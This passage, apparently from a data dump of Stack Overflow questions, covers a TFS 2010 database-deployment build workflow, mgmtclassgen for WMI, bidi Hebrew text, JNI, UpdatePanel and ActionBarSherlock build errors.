<sap:WorkflowViewStateService.ViewState>\n <scg:Dictionary
x:TypeArguments=\"x:String, x:Object\">\n <x:Boolean
x:Key=\"IsExpanded\">True</x:Boolean>\n <x:Boolean
x:Key=\"IsPinned\">True</x:Boolean>\n </scg:Dictionary>\n
</sap:WorkflowViewStateService.ViewState>\n <If
Condition=\"[BuildDetail.CompilationStatus &lt;&gt; BuildPhaseStatus.Failed]\"
DisplayName=\"If Build Succeeded\"
sap:VirtualizedContainerService.HintSize=\"464,206\">\n
<sap:WorkflowViewStateService.ViewState>\n
<scg:Dictionary x:TypeArguments=\"x:String, x:Object\">\n
<x:Boolean x:Key=\"IsPinned\">True</x:Boolean>\n
</scg:Dictionary>\n
</sap:WorkflowViewStateService.ViewState>\n <If.Then>\n
<mtbwa:InvokeProcess Arguments=\"[&quot;/a:Deploy /cs:&quot;&quot;Data
Source=MyServer-SQL1\\BUILD;Integrated Security=True;Pooling=False&quot;&quot; /dd+
/dsp:Sql /manifest:Database_Core.deploymanifest&quot;]\" DisplayName=\"Invoke
VSDBCMD\" FileName=\"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\
VSTSDB\\Deploy\\VSDBCMD.EXE\" sap:VirtualizedContainerService.HintSize=\"219,100\"
WorkingDirectory=\"[BuildDetail.DropLocation]\">\n
<mtbwa:InvokeProcess.ErrorDataReceived>\n
<ActivityAction x:TypeArguments=\"x:String\">\n
<ActivityAction.Argument>\n <DelegateInArgument
x:TypeArguments=\"x:String\" Name=\"errOutput\" />\n
</ActivityAction.Argument>\n
<mtbwa:WriteBuildError DisplayName=\"VSDBCMD Error\"
sap:VirtualizedContainerService.HintSize=\"200,22\" Message=\"[errOutput]\" />\n
</ActivityAction>\n
</mtbwa:InvokeProcess.ErrorDataReceived>\n
<mtbwa:InvokeProcess.OutputDataReceived>\n
<ActivityAction x:TypeArguments=\"x:String\">\n
<ActivityAction.Argument>\n <DelegateInArgument
x:TypeArguments=\"x:String\" Name=\"stdOutput\" />\n
</ActivityAction.Argument>\n
<mtbwa:WriteBuildMessage DisplayName=\"VSDBCMD Output\"
sap:VirtualizedContainerService.HintSize=\"200,22\"
Importance=\"[Microsoft.TeamFoundation.Build.Client.BuildMessageImportance.High]\"
Message=\"[stdOutput]\" mva:VisualBasic.Settings=\"Assembly references and imported
namespaces serialized as XML namespaces\" />\n
</ActivityAction>\n
</mtbwa:InvokeProcess.OutputDataReceived>\n
<sap:WorkflowViewStateService.ViewState>\n
<scg:Dictionary x:TypeArguments=\"x:String, x:Object\">\n
<x:Boolean x:Key=\"IsPinned\">False</x:Boolean>\n
</scg:Dictionary>\n
</sap:WorkflowViewStateService.ViewState>\n
</mtbwa:InvokeProcess>\n </If.Then>\n
<If.Else>\n <mtbwa:WriteBuildWarning
DisplayName=\"Deployment Skipped\"
sap:VirtualizedContainerService.HintSize=\"220,100\" Message=\"Database deployment
was skipped\" />\n </If.Else>\n
</If>\n </Sequence>\n", "tfs2010 database-deployment"],
"96428": ["Generate C# class using mgmtclassgen command for IISWebInfo (WMI)", "How
generate C# class using mgmtclassgen command for IISWebInfo ??\nI test like this:\
n\nC:\\Temp>mgmtclassgen Win32_LogicalDisk\n /n root\\cimv2 /l CS /p c:\\disk.cs\n
Microsoft (R) .NET Framework Version\n 3.5.21022.8 Copyright (C) Microsoft
Corporation. All rights reserved.\n Generating Code for WMI Class\n
Win32_LogicalDisk ... Code Generated\n Successfully!!!!\nC:\\Temp>mgmtclassgen
IISWebInfo /n\n root\\cimv2 /l CS /p c:\\disk2.cs\n Microsoft (R) .NET Framework
Version\n 3.5.21022.8 Copyright (C) Microsoft
Corporation. All rights reserved.\n Getting the given class Failed\nC:\\
Temp>mgmtclassgen IIsWebInfo /n\n root\\cimv2 /l CS /p c:\\disk2.cs\n Microsoft
(R) .NET Framework Version\n 3.5.21022.8 Copyright (C) Microsoft Corporation. All
rights reserved.\n Getting the given class Failed\nC:\\Temp>mgmtclassgen
IIsWebInfo /n\n root\\MicrosoftIISv2 /l CS /p\n c:\\disk2.cs Microsoft (R) .NET\n
Framework Version 3.5.21022.8\n Copyright (C) Microsoft Corporation. \n All
rights reserved. Errors\n Occurred!!!! Reason : Espacio de\n nombres no v\
u00e1lido\n\n", "", "c# command-line wmi"], "286902": ["Looking for a method for
flipping bidi (Hebrew) text so it would be displayed correctly in AndEngine", "I've
been lurking around the web for days trying to look for a code implementation
(Preferably Java) for flipping Bidi text so it would be displayed correctly inside
platforms that do not support Bidi text text out of the box. (Such as AndEngine).\
nThe optimal solution would be a method that I would provide it with Hebrew text,
and it would return its content flipped. I could do this by myself but it's getting
complicated once it gets to mixed strings of both English and Hebrew text, as well
as I think it would be quite dumb for me to implement it as probably there should
be much better implementations out there already.\nThe closest thing I found was
this Unicode algorithm -
\nhttp://www.unicode.org/reports/tr9/\nhttp://www.unicode.org/Public/PROGRAMS/
BidiReferenceJava/\nWhich was too complex and too big and didn't do all the job.\
nAlso there was this Bidi class in Java
\nhttp://docs.oracle.com/javase/1.4.2/docs/api/java/text/Bidi.html\nBut it only
provided simple methods to analyze Bidi text.\nI'm pretty sure this is a common
problem as unfortunately many platforms and game engines do not fully support Bidi
text.\nThanks!\n", "", "java android andengine bidi"], "3915579": ["jni starter
question", "\nI started looking into JNI and from what I understand is that if a
problem occurs with the loaded dll, the jvm is possible to terminate on the spot.\
nI.e. the process can not be protected e.g. like when catching an exception.\nSo if
my understanding is correct, my question is if there is a standard approach/pattern
for this situation when using jni.\nOr to state it differently, are processes using
jni designed in way to avoid these issues?\nOr such problems are not expected to
occur? \nThank you.\n", "", "java c dll jni native-code"], "3124888": ["How to
access control in UpdatePanel through javascript?", "How to access or get reference
of control in through javascript?\n", "UpdatePanel", "javascript asp.net
updatepanel"], "2996308": ["ActionBarSherlock 4.0 doesn't work. But 3.5.1 do.", "If
I use ActionBarSherlock 3.5.1 everything is fine and workes. But if I want to use
4.0 RC1 I got errors. \n\n\nAny ideas?\n", "[2012-02-25 10:08:19 - SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:6:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.ActionBar.Solid'.\n[2012-02-25 10:08:19 - SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:10:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.Light.ActionBar.Solid'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:12:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.Light.ActionBar.Solid.Inverse'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:19:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.Light.ActionBar.TabView.Inverse'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:26:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.Light.ActionBar.TabBar.Inverse'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values/abs__styles.xml:101: error:
Error: No resource found that matches the given name: attr 'android:textAllCaps'.\
n[2012-02-25 10:08:19 - SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:33:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.Light.ActionBar.TabText.Inverse'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:55:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:Widget.Holo.Light.ActionMode.Inverse'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values/abs__styles.xml:244: error:
Error: No resource found that matches the given name: attr 'android:textAllCaps'.\
n[2012-02-25 10:08:19 - SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:88:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:TextAppearance.Holo.Widget.ActionBar.Menu'.\n[2012-02-25 10:08:19 -
SherlockApp]
/home/leandros/workspace/ActionBarSherlock40/res/values-v14/abs__styles.xml:93:
error: Error retrieving parent for item: No resource found that matches the given
name 'android:TextAppearance.Holo.Widget.ActionBar.Title.Inverse'.\n[2012-02-25
10:08:19 - SherlockApp] /home/leandros/workspace/ActionBarSherlock40/res/values-
v14/abs__styles.xml:97: error: Error retrieving parent for item: No resource found
that matches the given name
'android:TextAppearance.Holo.Widget.ActionBar.Subtitle.Inverse'.\n[2012-02-25
10:08:19 - SherlockApp] /home/leandros/workspace/ActionBarSherlock40/res/values-
v14/abs__styles.xml:101: error: Error retrieving parent for item: No resource found
that matches the given name
'android:TextAppearance.Holo.Widget.ActionMode.Title.Inverse'.\n[2012-02-25
10:08:19 - SherlockApp] /home/leandros/workspace/ActionBarSherlock40/res/values-
v14/abs__styles.xml:105: error: Error retrieving parent for item: No resource found
that matches the given name
'android:TextAppearance.Holo.Widget.ActionMode.Subtitle.Inverse'.\n[2012-02-25
10:08:19 - SherlockApp] /home/leandros/workspace/ActionBarSherlock40/res/values-
v14/abs__themes.xml:8: error: Error retrieving parent for item: No resource found
that matches the given n

You might also like